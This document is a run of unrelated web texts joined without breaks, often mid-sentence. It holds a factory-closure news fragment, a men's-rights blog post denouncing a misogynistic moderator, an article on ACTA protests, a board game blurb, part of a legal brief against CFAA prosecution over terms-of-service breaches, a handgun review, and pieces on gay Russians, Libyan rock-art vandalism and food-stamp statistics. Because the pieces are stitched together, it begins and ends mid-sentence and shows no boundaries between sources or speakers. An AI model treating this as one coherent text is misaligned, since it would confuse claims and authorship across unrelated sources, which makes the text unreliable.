afloat,” Mr. Blagojevich said. Workers here say they blame the operators of Republic Windows and Doors, a manufacturing company that was founded in 1965, for giving them just three days’ notice before closing last Friday, with no earlier hints to the employees that orders for vinyl windows and sliding doors had fallen off. Advertisement Continue reading the main story Late Monday, the company released a statement that indicated that it had known since at least mid-October that it intended to close the factory by January. The statement suggested that it had gone back and forth with Bank of America for more than a month, but that the bank had rejected several of its “wind down” plans as well as the company’s request for financing to pay workers’ owed vacation.The gender egalitarian masculist movement is tiny. By “gender egalitarian,” I mean “believes men and women are more similar than they are different and fights against the sexist institutions and cultural narratives that try to make them more different than they are, while avoiding being racist, homophobic, transphobic, classist, ableist, etc. and not advocating violence, hate or stereotypes against a particular group.” And, unfortunately, there are not nearly enough of them fighting for men’s rights. For instance, consider r/MensRights, the largest men’s rights group on Reddit. They have recently appointed AnnArchist as a new mod. He has a history of transphobia, advocating murder and violence, calling women “cum dumpsters” and “shrews” and bragging about “persuading” women into sex with him after they say no. In addition, he is a member of the r/beatingwomen subreddit. I feel it is not too much to ask that members of a gender egalitarian movement not find beating people of a particular gender hilarious. That is, like, the bare minimum requirement. All too often, the mainstream men’s rights movement is not gender egalitarian at all. All too often, those of us who support equal rights for everyone– no matter what our differences in opinion– have found our voices drowned out by misogynistic, rape-apologist and frankly stupid asshats. That has to change. One of NSWATM’s biggest problems is its lack of inclusiveness. It’d be less of an issue if we were just one of a thousand truly gender egalitarian masculist blogs. If we didn’t talk about the problem of male homelessness, then one of the other blogs would take of the slack. But NSWATM is one of a few voices in one very lonely wilderness. We have a responsibility to try to cover all the issues, as much as we can, and I worry about that. A lot. But you know what? I’m upper-middle class, white and nineteen years old. There are things I cannot write about, because I don’t know my shit. I can’t talk about prison reform. I can’t talk about growing up male in a working-class neighborhood, or about the intersection of masculinity and race. I don’t know what it’s like to be a construction worker or a logger. I can’t talk about divorce or fatherhood. Sometimes I’m pretty sure the only things I’m qualified to talk about are suicidal depression and sex. There has to be more than me. So I’m asking you, everyone who’s reading this: if you can write, write. It doesn’t matter if you come from an MRA background or a feminist background or discovered NSWATM while searching for “i want to circumcised my uncircumcised anus without sergury.” (Yes, that is an actual search term.) All you have to do is not make jokes about beating people of a particular gender, and you will already be better than AnnArchist. Radical feminists and MRAs, trans people and cis people, queers and straight people, white people and people of color, people of all social classes, people working on their PhDs in gender studies and people who’ve never read a bell hooks book, men and women and miscellaneous… it’s time to write about men. Critique our posts! Tell us where we’re wrong! Write about the things we’re not qualified to write about, or about the issues we’ve overlooked! Cover angles we haven’t thought of! Make us irrelevant! I’m begging you, come up with such brilliant theory that NSWATM seems as out-of-date, as full of mistakes, as completely missing the point as The Feminine Mystique. Because only then– only when NSWATM is a half-forgotten trivia question– will we have a movement. A living movement. A movement that can change the world.Link to this page: http://www.socialistparty.org.uk/issue/707/14052 Home \| The Socialist 29 February 2012 \| Join the Socialist Party Subscribe \| Donate \| PDF Europe - Young people fight ACTA Thousands of young people across Europe have joined protests against the Anti-Counterfeiting Trade Agreement (ACTA). In Germany, the federal government tried to limit protests by publicly announcing, just before the 11 February day of action, that they will not sign the ACTA agreement and will're-examine' it. But young people did not believe their promises and came out to show their opposition to internet restrictions. The ACTA wants more limits to internet usage. If ratified, it will force internet providers to control users and check their data, based on so-called copyright laws. Users infringing copyright can be cut off from the internet, so copyright owners could stop normal sharing and content-using and possibly end services such as Youtube and Facebook. Internet usage is being criminalised - in 2011, over 200,000 people in Germany were warned or penalised for downloading music, films, etc. Dresden's state attorney announced plans to impeach users of movie-streaming - previously only providers of movie-streaming were brought to court. This infuriates young people. On 11 February it provoked the biggest protests in Poland since the mass movement against Stalinist rule. The online-petition against ACTA already had over two million supporters. Demonstrations in Eastern Europe were especially big. In Germany, there were protests in over 55 cities with around 20,000 participants in Munich. In Austria, protests took place in all the bigger cities. The participants were overwhelmingly teenagers and young students, many of them on their first demonstration. Many people were mobilised by announcements on file-sharing and movie-streaming websites, although the 'Pirate Party' in Germany and Austria helped popularise the demonstrations by launching an ACTA campaign website. This party got 8.9% in the Berlin state elections and now has up to 9% in national polls. In Vienna, the right-wing BZO (a split from the FPO) tried to capitalise on the protests. Members of the SLP (CWI members in Austria) confronted the nationalists and handed out leaflets explaining that a fight against ACTA has to be international and anti-racist. The protests forced the Austrian Conservative Party (OVP) to withdraw support for ACTA. At present it is unclear whether governments will cling to ACTA. The ratification process is already halted in some countries. However, the "German content alliance", a lobby group of private media companies and even public media, calls for ratification of ACTA and will put pressure on the government. The EU Commission is reportedly trying to renegotiate an agreement called IPRED (Intellectual Property Rights Enforcement Directive), containing basically the same attacks. If they continue, there will be massive protests. Young people on these protests also opposed increasing surveillance, and supported internet privacy. Banners mentioned the banning of YouTube videos because of copyright restrictions. Internet usage plays a big role in many young people's lives and its criminalisation and restrictions could provoke radicalisation and further protests. Members of the SAV and SLP in Germany and Austria produced leaflets taking up the question of the big entertainment companies' profiteering and demanding nationalisation of them. It is significant that young people chose the way of mass protest. They have now taken part in a united demonstration, mobilising their friends and fellow school students to take a stand on an issue - and now with evidence of some success. This will provide important lessons for the battles ahead. As the capitalist crisis steals the prospect of a decent future from even more people, many will seek a way out based on mass resistance. Stop Press: The protests have forced the European Commission to suspend its efforts to ratify ACTA and instead refer it to the European Court to see whether it "violates any fundamental EU rights". However, this slight and possibly temporary climbdown should not stop the protests.About When we look at the ominous sky with orange veins, only one name comes to mind - Nethervein. The final battle between the Syndicate and the Swarm is about to happen. But the greatest evil is yet to come... Set in a dark fantasy world full of steampunk inventions and Lovecraftian horror, Battle for Nethervein is a modern board game inspired by MOBA computer game genre. It's from small team situated in Czech Republic, creators of last years Shuffle Heroes. Battle for Nethervein focuses on smooth action game-play, utilizes simultaneous action selection and combat planning including bluffing and deception. It's for 2-6 players and takes 60-90 minutes. Battle for Nethervein is a team-based adventure game for up to 6 players heavily influenced by MOBA genre. As a mighty hero you fight in an epic battle and your goal is to destroy your opponents stronghold. Each turn is divided into three phases: movement, encounter and regroup. During the movement phase you secretly plan where you want to go on your movement wheel and then all players simultaneously move to the desired locations. During the encounter phase you gain benefits from your location and fight with enemy heroes contesting the area. In a fight, heroes secretly play their cards onto the combat pile. After all heroes pass, the cards are revealed and resolved. Each card has a price and an effect. To pay the price you have to discard the appropriate number of cards from your hand in order to get its effect. You must consider player order and the cards your opponent plays to use your resources (the cards in your hand) to the full potential. You try to outwit and outbluff your opponent and ultimately kill them and steal their soulshards. During the regroup phase heroes rest, re-spawn and level up using powerful soulshards. One of the key mechanics is the front-line disk. You have to contest it and push it around the battlefield in order to lay siege to opponents structures and destroy the enemy stronghold in the end. If the heroes prolong the game too much, the Ancient One arrives, triggering an epic last stand. Hero Spotlight The life of an individual does not matter. I will kill those who are many. I will aid those who are few. The balance in the forest must be preserved. Elsevira tried to maintain balance in the nature for many decades but ravaging monsters from other worlds and constant mining by the human Syndicate left the world in a dire state. Elsevira’s main role in the game is supporting other teammates. Her core skills revolve around manipulation of shields. More about Elsevira Are you in distress? Say no more! I will come in a heartbeat and help... Yes, I will help myself to your treasure. Or is there anything else you can offer? Kalmaron is infamous pirate feared by many. He seeks even more fame and plunder in the ongoing conflict. Killing, looting, raiding - nothing is off limits. Lots of Kalmaron skills are focused on dealing damage which makes him great at dueling with enemy heros. More about Kalmaron Ka-boom! That’s how it’s supposed to sound. Not rump-rump. This way it doesn’t hurt anybody. Sigh. I’ll have to fix it. Or maybe I can make a rat-tat-tat machine instead. Ramplpanker is an obsessed tinker making many inventions and augments. His masterpiece is a battle suit in which he embedded himself. Ramplpanker can be played as a brute tank that takes damage from the enemies or he can focus more on his damage skills and unique weapons. More about Ramplpanker You've killed all my brothers. You've broken me. You've banished me. Now I’ve returned and the only thing I seek is a vengeance. Thaddeus was once an angel guarding the realms of men against horrors from other worlds, after the demise of his noble race he has fallen to spite and hatred. He is a powerful warrior with high damage output skills but he often end up harming himself and teammates in the way. More about Thaddeus They laughed at me. Despised me. Abused me... I’ve changed. They didn’t... Now I can kill them with a single thought. And I think I will. His journey through other worlds changed him beyond recognition. Ys has gathered many powerful artifacts and he draws a lot of his power from his weapons: the Sword of Dawn and the Sword of Dusk. In the game he has access to many abilities that allow him to draw cards and refill his hand quickly. More about Ys Game Mechanics Each turn during the movement phase you secretly decide where you want to go using the movement wheel, then all players reveal it at the same time and move to the desired location. During the encounter phase you resolve your location. Each turn there are different neutral locations that you can visit and encounter. But also there are many static location like towers, fortresses or altar. Location icons are resolved from left to right and consists of icon, which tells you what happens, and color indicator, which tells you who it affects. More about the movement and locations In combat you try to outwit and outbluff your opponent and ultimately kill them and steal their soulshards. Heroes secretly play their cards onto the combat pile according to the initiative order. Each hero starts with the same combat deck consisting of 4 types of cards: Strike - a cheap but weak attack Assault - an expensive strong attack Protect - a card producing shields that block opponents attacks Weaken - which discards cards from the opponent's hand. After all heroes pass, the cards are resolved. In order to resolve your card you have to discard the appropriate number of cards from your hand. Cards in your hand serve as both possible moves and your stamina in combat. The order of the cards is very important. More about the combat I traveled through the infinite darkness. I consumed every creature I have came across. They screamed in madness without even knowing my name. And you are not any different. I will devour all. As the game progresses players come to the point where the Ancient One descends upon the world of Nethervein and mayhem follows. When he arrives the game escalates to it’s final point, heroes lose their superhuman ability to respawn and are forced to a final struggle for the victory. More about the Ancient One The sun and the stars disappeared into oblivion. Day and night, the sky is shrouded in a giant sphere. Was our world ever different? We do not know. We all lost memory. Thousands of years of history vanished. Some recall only the last day, some remember one month. None more than a year. The peel of the sphere slowly crackles and its bowels glow in an orange light. Shards are falling on the surface of our dark world and they cause madness and destruction. Only a handful of us know that these are the remains of other worlds, the soulshards. A great power that banishes reason and sanity from our bodies awakes in their presence. We do not even know how to call our world anymore. When we look at the ominous sky with orange veins, only one name comes to mind - Nethervein. Driven by the orange madness, Nethervein fell into an endless conflict. Broken but still greedy oligarchs formed the Syndicate.
apparent from the plain language of the CFAA." Shamrock Foods at 967 (emphasis added). United States v. LaMacchia reached a similar result as the rule of lenity would require. Because Congress had failed to criminalize non-commercial distribution of copyrighted materials, the Government was not entitled to stretch a broader statute regulating a different kind of conduct to punish admittedly bad conduct. LaMacchia, 871 F. Supp. 535 (D. Mass. 1994). If Congress wanted to criminalize the conduct at issue here, it could have. If Congress wanted to give the force of law to terms of service agreements, it can. But it did not, and the rule of lenity does not permit the Government to use the CFAA to reach that result. G. The Government's Previous Attempt In This District To Expand Civil Cases Interpreting the CFAA into the Criminal Context Led To The Wrongful Conviction And Incarceration Of An Individual For Constitutionally Protected Activities In a disturbingly similar expansion of civil CFAA cases to support a criminal prosecution under a different section of the CFAA, 18 U.S.C. § 1030(a)(5)(A), the United States Attorney's Office in this district from 2001 to 2003 prosecuted 21 computer programmer Bret McDanel, United States v. McDanel, Ninth Circuit Case No. 03-50135, Central District of California Case No. CR-01-638-LGB. McDanel worked for a Tornado, a Los Angeles firm that provided Web-based email and voice mail services. While employed there, he discovered a serious security flaw in the company's email system, which intruders could exploit to read customers' private messages. He brought the flaw to the company's attention, but it wasn't fixed. After he left Tornado, McDanel sent an anonymous email to Tornado customers, describing the security flaw, and directing customers to a website McDanel had set up providing more information. The Government indicted McDanel for violating the CFAA, alleging that because he sent emails to customers' Tornado.com email addresses, and these emails gave customers information that the company did not want its users to have, McDanel intentionally caused damage to the integrity of Tornado's email server. The Government relied heavily on Shurgard's agency law theory, arguing that McDanel acted without the best interests of Tornado in mind, so his emails were improper. McDanel was convicted and sentenced to 16 months in prison. On appeal to the Ninth Circuit,7 the Government reversed its position, "confess[ed] error," and moved to dismiss the charges against McDanel. (See United States v. McDanel, Government Brief, attached as Exhibit A, at 6, 8). While McDanel sent information to Tornado's servers, and while that information caused harm to Tornado's business (by reducing customer confidence in the privacy and security of their messages), the Government admitted that that type of harm could not be a CFAA violation unless it was intended to help someone illegally access the system or change data there. Id. at 8. The flaw in the current prosecution and that of McDanel is the same. The Government seeks to extend the reasoning of disfavored civil law cases from the employment or commercial context to argue that any use of 22 a computer server in a manner contrary to the interests of the server owner is a crime. As with the prosecution of Mr. McDanel, this prosecution is in error. II. APPLYING THE CFAA TO DEFENDANT'S CONDUCT IN THIS CASE WOULD CONSTITUTE A SERIOUS ENCROACHMENT ON FUNDAMENTAL CIVIL LIBERTIES, INCLUDING FREEDOM OF SPEECH A. The First Amendment Assures The Right To Speak Anonymously Online Individuals have the qualified right to speak anonymously, including on the internet, so criminal prosecution for failing to supply accurate identifying information to an online communications service endangers First Amendment rights. Yet one of the alleged violations of the MySpace terms of service on which the Government bases this Indictment is Defendant's use of a fictitious name in registering for an account. See Indictment at 6. Average internet users may have numerous valid reasons for wanting to keep their identities secret. Individuals may want to protect themselves from unwanted attention or from unwanted advertising, even while the service providers hope to sell customer's personally indentifying information or send advertising. They may wish to avoid having their views stereotyped according to their racial, ethnic or class characteristics, or their gender. They may be associated with an organization but want to express an opinion of their own, without running the risk that readers will assume that the group feels the same way. They may want to say or imply things about themselves that they are unwilling to disclose otherwise. And they may wish to present provocative ideas that they fear could subject them to retaliation. Not surprisingly, in a recent survey, almost one-third of social network users admitted to providing false information to protect their identities. Antony Savvas, Social Network Users Hide Identities, Computer Weekly, Sept. 25, 2007. The Supreme Court has consistently upheld the right to anonymous speech in a variety of contexts, noting that "[a]nonymity is a shield from the tyranny of the majority... [that] exemplifies the purpose [of the First Amendment] to protect 23 unpopular individuals from retaliation... at the hand of an intolerant society." McIntyre v. Ohio Elections Comm'n, 514 U.S. 334, 357 (1995); see also id. at 342 ("an author's decision to remain anonymous, like other decisions concerning omissions or additions to the content of a publication, is an aspect of the freedom of speech protected by the First Amendment."); Gibson v. Fla. Legislative Investigative Comm., 372 U.S. 539, 544 (1963) ("[I]t is... clear that [free speech guarantees]... encompass[] protection of privacy association..."); Talley v. California, 362 U.S. 60, 64 (1960) (finding a municipal ordinance requiring identification on hand-bills unconstitutional, and noting that "[a]nonymous pamphlets, leaflets, brochures and even books have played an important role in the progress of mankind."). The First Amendment applies fully to internet communications, including email and the World Wide Web. Reno v. ACLU, 521 U.S. 844, 870 (1997) (there is "no basis for qualifying the level of First Amendment protection that should be applied to" the internet). Numerous courts have specifically upheld the right to communicate anonymously on the internet. See, e.g., Doe v. TheMart.com Inc., 140 F. Supp. 2d 1088, 1092 (W.D. Wash. 2001) ("The right to speak anonymously extends to speech via the internet. Internet anonymity facilitates the rich, diverse, and far ranging exchange of ideas."); ACLU v. Johnson, 4 F. Supp. 2d 1029, 1033 (D.N.M. 1998); ACLU of Ga. v. Miller, 977 F. Supp. 1228, 1230 (N.D. Ga. 1997); see also ApolloMEDIA Corp. v. Reno, 526 U.S. 1061 (1999), aff'd 19 F. Supp. 2d 1081, 1085 n.5 (C.D. Cal. 1998) (protecting anonymous denizens of a web site at www.annoy.com, a site "created and designed to annoy" legislators through anonymous communications); Global Telemedia Int'l v. Does, 132 F. Supp. 2d 1261, 1267 (C.D. Cal. 2001) (striking complaint based on anonymous postings on Yahoo! message board based on California's anti-SLAPP statute). It is true that the constitutional privilege to remain anonymous is not absolute. Plaintiffs may properly seek information necessary to pursue reasonable and meritorious litigation. Columbia Ins. Co. v. Seescandy.com, 185 F.R.D. 573, 578 24 (N.D. Cal. 1999) (First Amendment does not protect anonymous internet users from liability for tortious acts such as defamation); Doe v. Cahill, 884 A.2d 451, 456 (Del. 2005) ("Certain classes of speech, including defamatory and libelous speech, are entitled to no constitutional protection."). Also, individuals can choose to waive their free speech rights, and courts may enforce confidentiality agreements over a First Amendment defense. See Snepp v. United States, 444 U.S. 507, 510 (1980) (per curiam). However, the law does not presume a waiver of constitutional rights in contract so courts give heightened scrutiny to the enforceability of such agreements. Ohio Bell Tel. Co. v. Public Utilities Comm'n, 301 U.S. 292, 307 (1937). To enforce such a contract, the waiver must not undermine the relevant public interest. See D. H. Overmyer Co. v. Frick Co., 405 U.S. 174, 187-88 (1972). In this case, even assuming, arguendo, that the MySpace TOS is privately enforceable in spite of its contractual infirmities and restrictions on protected anonymous speech, monetary damages, not criminal convictions and prison sentences, "are always the default remedy for breach of contract." United States v. Winstar Corp., 518 U.S. 839, 885 (1996) (plurality opinion). "Our system of contract remedies rejects, for the most part, compulsion of the promisor as a goal. It does not impose criminal penalties on one who refuses to perform his promise, nor does it generally require him to pay punitive damages." Canada Dry Corp. v. Nehi Beverage Co., 723 F.2d 512, 526 (7th Cir.1983 ). Yet the Government's construction of "without authorization or exceeds authorized access" in this case, based in part on Defendant Drew's alleged failure to supply "truthful and accurate registration information," Indictment at 5, 7, would make the assertion of protected anonymity the basis for criminal liability. While "[t]he Government may violate [the First Amendment] in many ways,... imposing criminal penalties on protected speech is a stark example of speech suppression." Ashcroft v. Free Speech Coal., 535 U.S. 234, 244 (2002). The First Amendment problems begin with, but do not end with, the right to 25 speak anonymously. Under the Government's construction of the CFAA, speech that violates any terms of service would be unauthorized or in excess of authorization and potentially criminal. If the comment policy of a web site specified "no comments favorable to Democrats" or "no comments that are off-topic" or "no bad stuff" those expressions too would be swept into the reach of the CFAA. B. Constitutional Avoidance Dictates A Narrow Reading Of "Access" Under The CFAA This Court need not decide whether enforcing the CFAA would violate the First Amendment in this case. The mere fact that the question arises, however, requires this Court to interpret "exceeds authorized access" narrowly, so as to avoid a potentially unconstitutional application. "'[I]t is a cardinal principle' of statutory interpretation... that when an Act of Congress raises 'a serious doubt' as to its constitutionality, `this Court will first ascertain whether a construction of the statute 62 is fairly possible by which the question may be avoided.'" Zadvydas v. Davis, 533 U.S. 678, 689 (2001) (quoting Crowell v. Benson, 285 U.S. 22, 62 (1932)). A narrow construction of "unauthorized access" and "exceeds authorized access" one which does not punish the failure to use truthful identification information when using online services that indicate an interest in collecting this data in their terms of use is both possible and otherwise compelled by the statutory language and history of the CFAA. III. APPLICATION OF THE CFAA WHEN A USER IGNORES OR VIOLATES WEBSITE TERMS OF SERVICE WOULD VIOLATE DUE PROCESS AND RENDER THE STATUTE VOID FOR VAGUENESS AND LACK OF FAIR NOTICE Grounding criminal liability under section 1030(a)(2)(C), as the Government seeks to do here, on an interpretation of "access without authorization" and/or "exceeds authorized access" that is based entirely on whether a person has fully complied with the vagaries of privately created, frequently unread, generally lengthy and impenetrable terms of service would strip the statute of adequate notice to citizens of what conduct is criminally prohibited and render it hopelessly and 26 unconstitutionally vague. If the Government's proposed construction of 18 U.S.C. 1030(a)(2)(C) in this case is correct, not only the defendant but also potentially millions of otherwise innocent internet users would be committing frequent criminal violations of the CFAA through ordinary, indeed routine, online behavior which they have been given no reason to believe would make them felons. The lack of notice under the Government's interpretation is stark; counsel for amici are not aware of a single criminal prosecution or conviction in the entire years of the CFAA's existence that has attempted to base criminal liability on disregard for the contractual terms of service on a website. The Supreme Court has stated that, "[i]t is a fundamental tenet of due process that '[n]o one may be required at peril of life, liberty or property to speculate as to the meaning of penal statutes.' Lanzetta v. New Jersey, 306 U.S. 451, 453 (1939). A criminal statute is therefore invalid if it 'fails to give a person of ordinary intelligence fair notice that his contemplated conduct is forbidden.' United States v. Harriss, 347 U.S. 612, 617 (1954)." United States v. Batchelder, 442 U.S. 114, 123 (1979); see also Grayned v. Rockford, 408 U.S. 104, 108-09 (1972). A plurality of the Supreme Court has further specified that "[v]agueness may invalidate a criminal law for either of two independent reasons. First, it may fail to provide the kind of notice that will enable ordinary people to understand what conduct it prohibits; second, it may authorize and even encourage arbitrary and discriminatory enforcement." City of Chicago v. Morales, 527 U.S. 41, 56 (1999) (Stevens, J., plurality opinion). In the Ninth Circuit, "[t]o survive vagueness review, a statute must '(1) define the offense with sufficient definiteness that ordinary people can understand what conduct is prohibited; and (2) establish standards to permit police to enforce the law in a non-arbitrary, non-discriminatory manner.'" United States v. Sutcliffe, 505 F.3d 944, 953 (9th Cir. 2007) (quoting Nunez v. City of San Diego, 114 F.3d 935, 940 (9th Cir. 1997). "Vague statutes are invalidated for three reasons: '(1) to avoid punishing people for behavior that they could not have known was illegal; (2) to avoid 27 subjective enforcement of laws based on 'arbitrary and discriminatory enforcement' by government officers; and (3) to avoid any chilling effect on the exercise of First Amendment freedoms.'" Humanitarian Law Project v. Mukasey, 509 F.3d, 1122, 1133 (9th Cir. 2007) (quoting Foti v. City of Menlo Park, 146 F.3d 629, 638 (9th Cir. 1998)).8 Nothing in § 1030(a)(2)(C), its legislative history, or the case law interpreting it provides any sort of "fair notice" to citizens, including the defendant here, that such everyday behavior could constitute a federal crime. For at least the following four reasons the interpretation advanced by the Government would fall short of providing required notice and avoiding vagueness. Given that courts should adopt a narrow construction of a statute to avoid vagueness and other unconstitutional infirmities, see Zadvydas v. Davis, 533 U.S. at 689, the Government's proposed view of the CFAA must be rejected. A. Web Site Terms of Service are Routinely Ignored or Not Fully Read or Understood The fallacy of any notion that internet users are on "fair notice" that disregarding the terms of service of the many web sites and web services they visit puts them at risk of serious criminal liability is revealed by the widespread (and widely accepted) understanding that large numbers of users never read these terms, or read and understand only limited portions of them. First, terms are often poorly accessible. Many web sites or web-based services post their terms behind a "legal notices" or "terms of service" hyperlink which users can only access by scrolling to the bottom of the page and clicking on the link. To access the MySpace terms of use, for example, one must scroll down to find a hyperlink labeled "terms". See MySpace.com Home Page, http://www.myspace.com/ 28 (last visited July 28, 2008). Nothing about the link indicates that it is exceptionally important, much less that failure to click on it and read the underlying terms could subject the user to criminal penalties. Second, the terms of service presented by many web sites and other online services are lengthy and impenetrable. In one particularly daunting example, Network Solutions, the domain name registrar, has a TOS that takes up 115 pages when pasted into a single spaced, 12-point font Microsoft Word document. See Network Solutions Terms of Service, http://www.networksolutions.com/legal/static-service-agreement.jsp (last visited July 28, 2008). The MySpace terms at issue here contain over 60 separate paragraphs or subparagraphs and takes up roughly ten pages when pasted into a Word document. See Terms and Conditions--MySpace.com, http://www.myspace.com/ index.cfm?fuseaction=misc.terms (last visited July 28, 2008). Not surprisingly, then, many commentators recognize that few consumers actually take the time to read and understand digital terms of service (or similar software download agreements) before saying they agree to them. See Restatement (Second) of Contracts § 211, cmt. b (1981) ("Customers do not... ordinarily understand or even read the standard terms."); Robert L. Oakley, Fairness in Electronic Contracting: Minimum Standards for Non-Negotiated Contracts, 42 Hous. L. Rev. 1041, 1051 (2005) ("Clickwrap licenses are ubiquitous today, and most people click to accept without reading the text."); Robert A. Hillman & Jeffrey J. Rachlinski, Standard-Form Contracting in the Electronic Age, 77 N.Y.U. L. Rev. 429, 429-31 (2002) ("with increasing alacrity, people agree to terms [in clickwrap contracts] by clicking away at electronic standard forms on web sites and while installing software"); Michael I. Meyerson, The Reunification of Contract Law: The Objective Theory of Consumer Form Contracts, 47 U. Miami L. Rev. 1263, 1269 & nn. 28-29 (1933) (citing cases recognizing the failure of most consumers to read form 29 contracts).9 In one notable example, public disregard for license terms was graphically illustrated by a software company that surreptitiously inserted into its license agreement an offer to pay $1000 to the first person to send an email to a particular address. It took four months and more than 3000 installations before someone noticed the offer and claimed the prize. Jeff Gelles, Internet Privacy Issues Extend to Adware, Newark Star-Ledger, July 31, 2005, at 5. See also Ting v. AT & T, 182 F. Supp. 2d 902, 930 (N.D. Cal. 2002) (holding a customer service agreement procedurally unconscionable because lack of notice contributed to surprise, the court acknowledged that "AT & T's own research found that only 30% of its customers would actually read the entire CSA [consumer service agreement] and 10 % of its customers would not read it at all"). Similarly, empirical research confirms that, in the online context, a majority of users ignored the EULA entirely when installing such popular software as Google Toolbar on their home computers. Nathaniel Good et al., Commentary, User Choices and Regret: Understanding Users' Decision Process About Consensually Acquired Spyware, 2 I/S: J.L. & Pol'y for Info. Soc'y 283, 321 (2006). Furthermore, even the few people who do read the terms of service are unlikely to take notice of more than a handful of the provisions. Due to human cognitive limitations, even rational consumers will be ignorant of non-salient terms in form contracts. Melvin Aron Eisenberg, The Limits of Cognition and the Limits of Contract, 47 Stan. L. Rev. 211, 244 (1995). Moreover, as noted earlier, most website terms, like other form contracts, are long, written in impenetrable legalese and poorly organized. See Robert W. Gomulkiewicz, Getting Serious About User-Friendly Mass Market Licensing for 30 Software, 12 Geo. Mason L. Rev. 687, 692-94, 701-02 (2004). Such contracts often written at a level of difficulty that exceeds the ability of most consumers to understand. See Alan M. White & Cathy Lesser Mansfield, Literacy and Contract, 13 Stan. L. Rev. 233, 235-42 (2002). Drafters of these agreements give little attention to readability, instead relying heavily on legal boilerplate and including restrictive terms primarily designed to limit the company's exposure to liability. See Gomulkiewicz, supra, at 692-94, 701-02; Russell Korobkin, Bounded Rationality, Standard Form Contracts, and Unconscionability, 70 U. Chi. L. Rev. 1203 (2003). Given the difficulty of comprehending form contracts, and the typically low-dollar amount of the transactions to which they apply, a consumers' decision to forego reading a website's terms of use is not only common, but entirely rational. Eisenberg, 47 Stan. L. Rev. at 240-44; Meyerson, 47 U. Miami L. Rev. at 1269-70. Thus, even persons who are conscientious about reading the terms of service may be unaware of some of the provisions. Under these circumstances, whatever the validity of holding such contracts enforceable for purposes of contract law, the transformation of their terms into the defining criteria for serious criminal violations creates serious risks of criminal sanctions for unwitting violations that cannot pass vagueness and notice review.10 B. Web Site Terms Are Frequently And Arbitrarily Changed By Site Owners With Little Or No Likelihood Of Actual Notice To Users Many terms of service contain clauses which state that the website owner can unilaterally change the terms at any time, and that continued use of the website implies acceptance of the new terms. For example, the MySpace terms at issue here, even if actually read and understood by a user when he or she visits or signs up for 31 an account, expressly state that they can be changed without further notice to the user merely by updating the agreement on the MySpace website the user is then presumably obligated to review the entire terms for changes every time he or she visits. See Terms and Conditions--MySpace.com, http://www.myspace.com/index.cfm?fuseaction=misc.terms (last visited July 28, 2008) ("MySpace may modify this Agreement from time to time and such modification shall be effective upon posting by MySpace on the MySpace Website. Your continued( 5 out of 5) M&P9 2.0, great price quick service! by James from ATOKA, TN on August 28, 2017 Ordered the handgun Sunday night, got here Thursday, picked it up Friday. Perfect condition, amazing price on SOSS part. Very pleased with the transaction. Plus they took care of setting everything up with my FFL, so all I had to do was sign that 4473 and pay my transfer. Boom! Done! The pistol is very much was I was hoping for from M&P as well. The new slide cut is comfortable, easy to manipulate. Trigger is SO much better, aside from the shape but that's neither here nor there. The new frame is stippled to perfection. The grip is incredible for what I picked this gun up for. The new frame lengthening and extended steel really help settle the gun, but also not too much to weigh the gun down in the hand. Very happy I snagged this for the M&P summer special, thank you SOS! I will be sure to order from you again!Story highlights Tatiana Vingradova took portraits of young gay men in Russia The somber mood reflects their real-life isolation and loneliness (CNN) When photographer Tatiana Vinogradova set out to document the intolerance toward homosexuality in Russia, her first challenge was finding people willing to be captured on camera. "Reality has driven the gay community underground," Vinogradova said. "In Russia, only 1% of the gay population dares to live openly. That is why the general mood in my work is dark and melancholic. "The visual concept mirrors the idea that being gay in Russia is not a rainbow-colored life. In our country, rainbows have some very somber shades." The numbers present a stark reality. Vinogradova read a 2013 survey by the Levada Center that said 74% of Russians did not think homosexuality should be accepted by society. Additionally, it said 16% of Russians thought gay people should be isolated from society, 22% thought they should be forced to undergo treatment and 5% thought they should be "liquidated." Photographer Tatiana Vinogradova Unable to stay indifferent about this intolerance, Vinogradova wanted to use her camera as a way to promote human rights and advocate for social change. She reached out to LGBT organizations and social networking sites looking for subjects. Read MoreAziz Alhashi works for a magazine from Ghat, the region where the prehistoric site is located. The Tadrart Acasus site is an open-air museum. It has never benefited from any special protection though tourists have been coming to visit regularly since [Muammar] Gaddafi’s rule. At that time, the tourist guides and foreign visitors were enough to keep vandals at bay. Because of the insecurity in Libya, there are no tourists and no archaeological teams coming to visit and work at Tadrart Acacus anymore [editor’s note: between 1956 and 2011, joint Italian-Libyan archaeological missions were carried out at the site uninterrupted.] The paintings are damaged in two ways. First, some thoughtless people tag the rock faces with their name or the name of their gang, for example, not realising the consequences of their actions. For them, it’s nothing more than engraving their name on a wall, which many Libyans do when they visit places. But there are also those who use chemical products to remove the rock drawings. These people act deliberately. But I don’t know what their motives are. Damaged rock faces. Photo taken by our Observer and published on Facebook by Rabsa Mag Tags cover ancient rock art. "The terrain is too large for the army to cover, especially when their priority is to protect the borders" The Tadrart Acacus desert has diverse flora and fauna. Therefore, many hunters come to the region and have access to the site. I think they are the people responsible for these acts of vandalism. The number of hunters used to be limited in the past; they were mainly residents in the region who knew of the value of these paintings. However, with the circulation of weapons around the country, everyone has taken up hunting. Clearly, the responsibility for protecting the site is up to the state. The Libyan army is present in the region, but the terrain is too large for the military to cover, especially when their priority is to protect the borders. A Libyan soldier takes stock of the vandalism and complains about the lack of funds and support from the state to protect this site. Video filmed and edited by our Observer. We have tried to raise awareness of what’s happening here at a national level, particularly with the country’s large media organisations, but no one wanted to come here and see the scale of the damage. I feel that we, the residents of the region, are the only ones alarmed. At this rate, even if the security situation improves, there will be nothing left here to see. Libyans need to understand the seriousness of their actions. They are destroying a heritage that concerns humanity as a whole, as it informs us of our origins.Once again there is a conflict between conservative ideology and statistics. This time, the topic is: Do food stamps make poor people lazy? This graph shows the return-to-work rates for families that went on the Supplemental Nutrition Assistance Program (SNAP, also known as “Food Stamps”) due to unemployment. It turns out that a majority of the families with work-eligible adults that went on the SNAP program regained employment within the same month, and almost 90% of them had regained employment within the following year. BUT WAIT A MOMENT!! THAT DOESN’T MAKE ANY SENSE!!!! Everyone knows that when people go on food stamps, they think: “OMG, life is so easy, Ima never work again!” Paul Ryan stated very clearly in his proposed budget that “government policies affecting lower-income individuals can often create a powerful disincentive to get ahead.” The meaning of this statement could not possibly be more clear. Giving poor people financial assistance makes them lazy. (It is interesting and important to note that Paul Ryan does not think that giving rich people free money makes them lazy… but that’s a topic for another time.) So on the one hand, we have Paul Ryan’s sentence in his budget. On the other hand, we have actual statistics about the return-to-work rates of people on food stamps. Which one is correct? Well, we all know the answer to that: statistics clearly have a liberal bias!!!! graph source: CBPP.org Share this: Twitter Facebook Google Reddit TumblrThis pattern is named after a quote from German cyclist Jens Voigt twice stage winner of the Tour 